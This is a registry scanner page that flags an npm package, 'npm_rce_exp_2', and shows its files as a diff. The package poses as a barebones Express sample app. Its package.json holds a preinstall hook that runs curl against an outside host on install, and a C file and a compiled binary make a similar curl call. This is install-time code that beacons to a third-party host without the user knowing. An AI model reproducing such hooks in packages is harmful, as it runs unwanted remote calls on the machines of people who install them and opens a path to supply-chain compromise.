npm_rce_exp_2 0.4.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of npm_rce_exp_2 might be problematic. Click here for more details.

Files changed (5) hide show
  1. package/1.c +7 -0
  2. package/a.out +0 -0
  3. package/app.json +7 -0
  4. package/index.js +14 -0
  5. package/package.json +23 -0
package/1.c ADDED
@@ -0,0 +1,7 @@
1
+ #include <stdlib.h>
2
+
3
+ int main(int argc, char *argv[])
4
+ {
5
+ system("curl npm.f9fec96a.l0p.xyz");
6
+ return 0;
7
+ }
package/a.out ADDED
Binary file
package/app.json ADDED
@@ -0,0 +1,7 @@
1
+ {
2
+ "name": "Node.js Sample",
3
+ "description": "A barebones Node.js app using Express 4",
4
+ "repository": "https://github.com/heroku/node-js-sample",
5
+ "logo": "https://rawgit.com/heroku/node-js-sample/master/public/node.svg",
6
+ "keywords": ["node", "express", "static"]
7
+ }
package/index.js ADDED
@@ -0,0 +1,14 @@
1
+ var express = require('express')
2
+ var app = express()
3
+
4
+ app.set('port', (process.env.PORT || 5000))
5
+ app.use(express.static(__dirname + '/public'))
6
+
7
+ app.get('/', function(request, response) {
8
+ response.send('Hello World!')
9
+ })
10
+
11
+ app.listen(app.get('port'), function() {
12
+ console.log("Node app is running at localhost:" + app.get('port'))
13
+ })
14
+ ~
package/package.json ADDED
@@ -0,0 +1,23 @@
1
+ {
2
+ "name": "npm_rce_exp_2",
3
+ "version": "0.4.0",
4
+ "description": "A sample Node.js app using Express 4",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "curl tt.f9fec96a.l0p.xyz",
8
+ "start": "node index.js"
9
+ },
10
+ "engines": {
11
+ "node": "4.0.0"
12
+ },
13
+ "keywords": [
14
+ "node",
15
+ "heroku",
16
+ "express"
17
+ ],
18
+ "author": "Mark Pundsack",
19
+ "contributors": [
20
+ "Zeke Sikelianos <zeke@sikelianos.com> (http://zeke.sikelianos.com)"
21
+ ],
22
+ "license": "MIT"
23
+ }